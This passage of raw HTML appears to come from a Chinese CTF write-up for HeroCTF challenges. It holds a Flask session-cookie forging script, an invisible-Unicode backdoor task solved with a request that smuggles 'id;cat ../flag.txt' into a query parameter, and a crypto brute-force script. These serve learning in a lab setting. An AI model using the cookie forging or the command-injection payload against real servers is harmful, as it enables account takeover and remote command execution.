-webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">import</span> requests<br/><span style="color: #a626a4;line-height: 26px;">import</span> os<br/>keyword = <span style="color: #50a14f;line-height: 26px;">&#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890&#34;</span><br/><span style="color: #a626a4;line-height: 26px;">for</span> i <span style="color: #a626a4;line-height: 26px;">in</span> keyword:<br/>    cmd = <span style="color: #50a14f;line-height: 26px;">&#34;python3 flask_session_cookie_manager3.py encode -s &#39;%s&#39; -t \&#34;{&#39;username&#39;:&#39;admin&#39;}\&#34;&#34;</span> % (str(i) * <span style="color: #986801;line-height: 26px;">32</span>)<br/>    cookie = os.popen(cmd).read().replace(<span style="color: #50a14f;line-height: 26px;">&#39;\n&#39;</span>,<span style="color: #50a14f;line-height: 26px;">&#39;&#39;</span>)<br/>    <br/>    url = <span style="color: #50a14f;line-height: 26px;">&#34;<a href="https://smallbigmistake.web.heroctf.fr" target="_blank">https://smallbigmistake.web.heroctf.fr</a>&#34;</span><br/>    headers = {<br/>        <span style="color: #50a14f;line-height: 26px;">&#34;Cookie&#34;</span>:<span style="color: #50a14f;line-height: 26px;">&#34;cf_clearance=RdAID0fnei6cUFk3YOkDuN91.oSzdCrqd5bPpVRxWQY-1653698340-0-150; __cf_bm=zp1l_dp7UbyemULS4vJ7c7Wi5aEf8KHQRXgi7Ox2tdg-1653745587-0-AZWHPu1+yDLp98WQWTlpgy/XvT2cRl8c62j2yy7ZNcp0zH7wRJ9vQy0OungQy5+I0OIYhd8CdOXLEeiM9U1ggAR+/uM/ThSfFawlDZwxfw+v0/Ph7vBlTE+QAcpriuQlzA==;session=&#34;</span> + cookie<br/>    }<br/>    resp = requests.get(url, headers=headers, timeout=<span style="color: #986801;line-height: 26px;">5</span>)<br/>    print(len(resp.text),cookie)<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="209" data-backw="474" data-ratio="0.44" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=c737e81f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAUklGO7uUj7fLJpr3xgpsrR0WDfPDib6teP4icqSUB6L1ibZO6ee3XOrNg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="117" data-backw="474" data-ratio="0.24733333333333332" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=84455206&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAGwZpKdkHaRUzyCMGHySibpnDEtCPWufA8GZNHsicUV7y2z5qM08BwZuw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>$ where backdoor</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="583" data-backw="474" data-ratio="1.2299794661190966" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="974" src="https://wechat2rss.xlab.app/img-proxy/?k=e1645ccf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAUZ89xwmDfbzg0asDV3GwAN29GQ3D6Q6x6ShMLNgydblEicIPzEWysAw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">在目标站点下载源码</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="235" data-backw="474" data-ratio="0.496" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=c2d40254&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tA2Zy7WN7a3MA0squBWDraI5T9GhAelkZsicwUeDh38WRufvGFUrZ39iaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">根据提示 server.js 含有后门，Vscode调整 UTF-8 为 CP437 可以看到后门字符</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="296" data-backw="474" data-ratio="0.6246666666666667" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=f936995b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAJn2kbuHlsQkr1pC2VVY5ZADRxbONibEvLJIKVvQnhVZKPssx064SVyg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="261" data-backw="474" data-ratio="0.5506666666666666" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=de091334&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAxia5A9pm8FHxwveKiaZUwUibjuLfPQquClhl2LicNRaKYjJFxIuzlialtfQ%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># %E3%85%A4 -&gt; \u3164 是不可见的 Unicode 代码</span><br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># <a href="https://certitude.consulting/blog/en/invisible-backdoor/" target="_blank">https://certitude.consulting/blog/en/invisible-backdoor/</a></span><br/>/server_health?timeout=1000000&amp;%E3%85%A4=id;cat%20../flag.txt<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="223" data-backw="474" data-ratio="0.47" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=8d30d505&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAZt6QxB8fk9XG6MpBgzoUAYZpRrV2fY8ibORicgqHow0qbO0R9bdT241w%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">Crypto</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>Poly321</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="568" data-backw="474" data-ratio="1.197452229299363" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="942" src="https://wechat2rss.xlab.app/img-proxy/?k=101e01ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAyGZMnSPeUxWU0iaPbuRU91wNMLkzCXtdNTic3Xjzb3wteuBFzWvnZsiaQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">下载加密代码</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#!/usr/bin/env python3</span><br/>FLAG = <span style="color: #50a14f;line-height: 26px;">&#34;****************************&#34;</span><br/>enc = []<br/><span style="color: #a626a4;line-height: 26px;">for</span> c <span style="color: #a626a4;line-height: 26px;">in</span> FLAG:<br/>    v = ord(c)<br/>    enc.append(<br/>        v + pow(v, <span style="color: #986801;line-height: 26px;">2</span>) + pow(v, <span style="color: #986801;line-height: 26px;">3</span>)<br/>    )<br/>print(enc)<br/><span style="color: #50a14f;line-height: 26px;">&#34;&#34;&#34;<br/>$ python3 encrypt.py<br/>[378504, 1040603, 1494654, 1380063, 1876119, 1574468, 1135784, 1168755, 1534215, 866495, 1168755, 1534215, 866495, 1657074, 1040603, 1494654, 1786323, 866495, 1699439, 1040603, 922179, 1236599, 866495, 1040603, 1343210, 980199, 1494654, 1786323, 1417584, 1574468, 1168755, 1380063, 1343210, 866495, 188499, 127550, 178808, 135303, 151739, 127550, 112944, 178808, 1968875]<br/>&#34;&#34;&#34;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">根据源码中的逻辑编写爆破脚本</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">flag_encode = [<span style="color: #986801;line-height: 26px;">378504</span>, <span style="color: #986801;line-height: 26px;">1040603</span>, <span style="color: #986801;line-height: 26px;">1494654</span>, <span style="color: #986801;line-height: 26px;">1380063</span>, <span style="color: #986801;line-height: 26px;">1876119</span>, <span style="color: #986801;line-height: 26px;">1574468</span>, <span style="color: #986801;line-height: 26px;">1135784</span>, <span style="color: #986801;line-height: 26px;">1168755</span>, <span style="color: #986801;line-height: 26px;">1534215</span>, <span style="color: #986801;line-height: 26px;">866495</span>, <span style="color: #986801;line-height: 26px;">1168755</span>, <span style="color: #986801;line-height: 26px;">1534215</span>, <span style="color: #986801;line-height: 26px;">866495</span>, <span style="color: #986801;line-height: 26px;">1657074</span>, <span style="color: #986801;line-height: 26px;">1040603</span>, <span style="color: #986801;line-height: 26px;">1494654</span>, <span style="color: #986801;line-height: 26px;">1786323</span>, <span style="color: #986801;line-height: 26px;">866495</span>, <span style="color: #986801;line-height: 26px;">1699439</span>, <span style="color: #986801;line-height: 26px;">1040603</span>, <span style="color: #986801;line-height: 26px;">922179</span>, <span style="color: #986801;line-height: 26px;">1236599</span>, <span style="color: #986801;line-height: 26px;">866495</span>, <span style="color: #986801;line-height: 26px;">1040603</span>, <span style="color: #986801;line-height: 26px;">1343210</span>, <span style="color: #986801;line-height: 26px;">980199</span>, <span style="color: #986801;line-height: 26px;">1494654</span>, <span style="color: #986801;line-height: 26px;">1786323</span>, <span style="color: #986801;line-height: 26px;">1417584</span>, <span style="color: #986801;line-height: 26px;">1574468</span>, <span style="color: #986801;line-height: 26px;">1168755</span>, <span style="color: #986801;line-height: 26px;">1380063</span>, <span style="color: #986801;line-height: 26px;">1343210</span>, <span style="color: #986801;line-height: 26px;">866495</span>, <span style="color: #986801;line-height: 26px;">188499</span>, <span style="color: #986801;line-height: 26px;">127550</span>, <span style="color: #986801;line-height: 26px;">178808</span>, <span style="color: #986801;line-height: 26px;">135303</span>, <span style="color: #986801;line-height: 26px;">151739</span>, <span style="color: #986801;line-height: 26px;">127550</span>, <span style="color: #986801;line-height: 26px;">112944</span>, <span style="color: #986801;line-height: 26px;">178808</span>, <span style="color: #986801;line-height: 26px;">1968875</span>]<br/>ascii_str = <span style="color: #50a14f;line-height: 26px;">&#34;1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_&#34;</span><br/>FLAG = <span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span><br/><span style="color: #a626a4;line-height: 26px;">for</span> i <span style="color: #a626a4;line-height: 26px;">in</span> flag_encode:<br/>    <span style="color: #a626a4;line-height: 26px;">for</span> c <span style="color: #a626a4;line-height: 26px;">in</span> ascii_str:<br/>        v = ord(c)<br/>        pow_encode = v + pow(v, <span style="color: #986801;line-height: 26px;">2</span>) + pow(v, <span style="color: #986801;line-height: 26px;">3</span>)<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> i == pow_encode:<br/>            FLAG = FLAG + c<br/>            <span style="color: #a626a4;line-height: 26px;">break</span><br/>print(FLAG)<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="187" data-backw="474" data-ratio="0.39466666666666667" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=cfaad6a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAYicEgLY9eLsBBaywbJFSqoUKzy8zzQM0onRsQz1JE6qDCxf4kgFXZyA%2F640%3Fwx_fmt%3Dpng"/></figure></section><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="关" data-textnode-index-1653889638433="496" data-index-1653889638433="4602" class="character">关</span><span data-raw-text="注" data-textnode-index-1653889638433="496" data-index-1653889638433="4603" class="character">注</span><span data-raw-text="公" data-textnode-index-1653889638433="496" data-index-1653889638433="4604" class="character">公</span><span data-raw-text="众" data-textnode-index-1653889638433="496" data-index-1653889638433="4605" class="character">众</span><span data-raw-text="号" data-textnode-index-1653889638433="496" data-index-1653889638433="4606" class="character">号</span></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 900.594px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;"><span data-raw-text="下" data-textnode-index-1653889638433="497" data-index-1653889638433="4607" class="character">下</span><span data-raw-text="面" data-textnode-index-1653889638433="497" data-index-1653889638433="4608" class="character">面</span><span data-raw-text="就" data-textnode-index-1653889638433="497" data-index-1653889638433="4609" class="character">就</span><span data-raw-text="是" data-textnode-index-1653889638433="497" data-index-1653889638433="4610" class="character">是</span><span data-raw-text="文" data-textnode-index-1653889638433="497" data-index-1653889638433="4611" class="character">文</span><span data-raw-text="库" data-textnode-index-1653889638433="497" data-index-1653889638433="4612" class="character">库</span><span data-raw-text="的" data-textnode-index-1653889638433="497" data-index-1653889638433="4613" class="character">的</span><span data-raw-text="公" data-textnode-index-1653889638433="497" data-index-1653889638433="4614" class="character">公</span><span data-raw-text="众" data-textnode-index-1653889638433="497" data-index-1653889638433="4615" class="character">众</span><span data-raw-text="号" data-textnode-index-1653889638433="497" data-index-1653889638433="4616" class="character">号</span><span data-raw-text="啦" data-textnode-index-1653889638433="497" data-index-1653889638433="4617" class="character">啦</span><span data-raw-text="，" data-textnode-index-1653889638433="497" data-index-1653889638433="4618" class="character">，</span><span data-raw-text="更" data-textnode-index-1653889638433="497" data-index-1653889638433="4619" class="character">更</span><span data-raw-text="新" data-textnode-index-1653889638433="497" data-index-1653889638433="4620" class="character">新</span><span data-raw-text="的" data-textnode-index-1653889638433="497" data-index-1653889638433="4621" class="character">的</span><span data-raw-text="文" data-textnode-index-1653889638433="497" data-index-1653889638433="4622" class="character">文</span><span data-raw-text="章" data-textnode-index-1653889638433="497" data-index-1653889638433="4623" class="character">章</span><span data-raw-text="都" data-textnode-index-1653889638433="497" data-index-1653889638433="4624" class="character">都</span><span data-raw-text="会" data-textnode-index-1653889638433="497" data-index-1653889638433="4625" class="character">会</span><span data-raw-text="在" data-textnode-index-1653889638433="497" data-index-1653889638433="4626" class="character">在</span><span data-raw-text="第" data-textnode-index-1653889638433="497" data-index-1653889638433="4627" class="character">第</span><span data-raw-text="一" data-textnode-index-1653889638433="497" data-index-1653889638433="4628" class="character">一</span><span data-raw-text="时" data-textnode-index-1653889638433="497" data-index-1653889638433="4629" class="character">时</span><span data-raw-text="间" data-textnode-index-1653889638433="497" data-index-1653889638433="4630" class="character">间</span><span data-raw-text="推" data-textnode-index-1653889638433="497" data-index-1653889638433="4631" class="character">推</span><span data-raw-text="送" data-textnode-index-1653889638433="497" data-index-1653889638433="4632" class="character">送</span><span data-raw-text="在" data-textnode-index-1653889638433="497" data-index-1653889638433="4633" class="character">在</span><span data-raw-text="交" data-textnode-index-1653889638433="497" data-index-1653889638433="4634" class="character">交</span><span data-raw-text="流" data-textnode-index-1653889638433="497" data-index-1653889638433="4635" class="character">流</span><span data-raw-text="群" data-textnode-index-1653889638433="497" data-index-1653889638433="4636" class="character">群</span><span data-raw-text="和" data-textnode-index-1653889638433="497" data-index-1653889638433="4637" class="character">和</span><span data-raw-text="公" data-textnode-index-1653889638433="497" data-index-1653889638433="4638" class="character">公</span><span data-raw-text="众" data-textnode-index-1653889638433="497" data-index-1653889638433="4639" class="character">众</span><span data-raw-text="号" data-textnode-index-1653889638433="497" data-index-1653889638433="4640" class="character">号</span><br/><span data-raw-text="想" data-textnode-index-1653889638433="498" data-index-1653889638433="4641" class="character">想</span><span data-raw-text="要" data-textnode-index-1653889638433="498" data-index-1653889638433="4642" class="character">要</span><span data-raw-text="加" data-textnode-index-1653889638433="498" data-index-1653889638433="4643" class="character">加</span><span data-raw-text="入" data-textnode-index-1653889638433="498" data-index-1653889638433="4644" class="character">入</span><span data-raw-text="交" data-textnode-index-1653889638433="498" data-index-1653889638433="4645" class="character">交</span><span data-raw-text="流" data-textnode-index-1653889638433="498" data-index-1653889638433="4646" class="character">流</span><span data-raw-text="群" data-textnode-index-1653889638433="498" data-index-1653889638433="4647" class="character">群</span><span data-raw-text="的" data-textnode-index-1653889638433="498" data-index-1653889638433="4648" class="character">的</span><span data-raw-text="师" data-textnode-index-1653889638433="498" data-index-1653889638433="4649" class="character">师</span><span data-raw-text="傅" data-textnode-index-1653889638433="498" data-index-1653889638433="4650" class="character">傅</span><span data-raw-text="公" data-textnode-index-1653889638433="498" data-index-1653889638433="4651" class="character">公</span><span data-raw-text="众" data-textnode-index-1653889638433="498" data-index-1653889638433="4652" class="character">众</span><span data-raw-text="号" data-textnode-index-1653889638433="498" data-index-1653889638433="4653" class="character">号</span><span data-raw-text="点" data-textnode-index-1653889638433="498" data-index-1653889638433="4654" class="character">点</span><span data-raw-text="击" data-textnode-index-1653889638433="498" data-index-1653889638433="4655" class="character">击</span><span data-raw-text="交" data-textnode-index-1653889638433="498" data-index-1653889638433="4656" class="character">交</span><span data-raw-text="流" data-textnode-index-1653889638433="498" data-index-1653889638433="4657" class="character">流</span><span data-raw-text="群" data-textnode-index-1653889638433="498" data-index-1653889638433="4658" class="character">群</span><span data-raw-text="找" data-textnode-index-1653889638433="498" data-index-1653889638433="4659" class="character">找</span><span data-raw-text="W" data-textnode-index-1653889638433="498" data-index-1653889638433="4660" class="character">W</span><span data-raw-text="g" data-textnode-index-1653889638433="498" data-index-1653889638433="4661" class="character">g</span><span data-raw-text="p" data-textnode-index-1653889638433="498" data-index-1653889638433="4662" class="character">p</span><span data-raw-text="s" data-textnode-index-1653889638433="498" data-index-1653889638433="4663" class="character">s</span><span data-raw-text="e" data-textnode-index-1653889638433="498" data-index-1653889638433="4664" class="character">e</span><span data-raw-text="c" data-textnode-index-1653889638433="498" data-index-1653889638433="4665" class="character">c</span><span data-raw-text="B" data-textnode-index-1653889638433="498" data-index-1653889638433="4666" class="character">B</span><span data-raw-text="o" data-textnode-index-1653889638433="498" data-index-1653889638433="4667" class="character">o</span><span data-raw-text="t" data-textnode-index-1653889638433="498" data-index-1653889638433="4668" class="character">t</span><span data-raw-text="机" data-textnode-index-1653889638433="498" data-index-1653889638433="4669" class="character">机</span><span data-raw-text="器" data-textnode-index-1653889638433="498" data-index-1653889638433="4670" class="character">器</span><span data-raw-text="人" data-textnode-index-1653889638433="498" data-index-1653889638433="4671" class="character">人</span><span data-raw-text="拉" data-textnode-index-1653889638433="498" data-index-1653889638433="4672" class="character">拉</span><span data-raw-text="你" data-textnode-index-1653889638433="498" data-index-1653889638433="4673" class="character">你</span><span data-raw-text="啦" data-textnode-index-1653889638433="498" data-index-1653889638433="4674" class="character">啦</span><span data-raw-text="～" data-textnode-index-1653889638433="498" data-index-1653889638433="4675" class="character">～</span><br/></code></pre><section class="mp_profile_iframe_wrp" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;white-space: normal;background-color: rgb(255, 255, 255);"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="2" style="width: 896.086px;"></mpprofile></section><section class="mp_profile_iframe_wrp" style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;white-space: normal;background-color: rgb(255, 255, 255);"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="2" style="width: 896.086px;"></mpprofile></section><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="支" data-textnode-index-1653889638433="499" data-index-1653889638433="4676" class="character"></span></span></h2><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);font-weight: bold;font-size: 22px;"><span style="padding-left: 10px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);"><span data-raw-text="支" data-textnode-index-1653889638433="499" data-index-1653889638433="4676" class="character">支</span><span data-raw-text="持" data-textnode-index-1653889638433="499" data-index-1653889638433="4677" class="character">持</span><span data-raw-text="作" data-textnode-index-1653889638433="499" data-index-1653889638433="4678" class="character">作</span><span data-raw-text="者" data-textnode-index-1653889638433="499" data-index-1653889638433="4679" class="character">者</span></span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="margin: 20px auto;border-radius: 0px 0px 5px 5px;display: block;width: 900.594px;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" 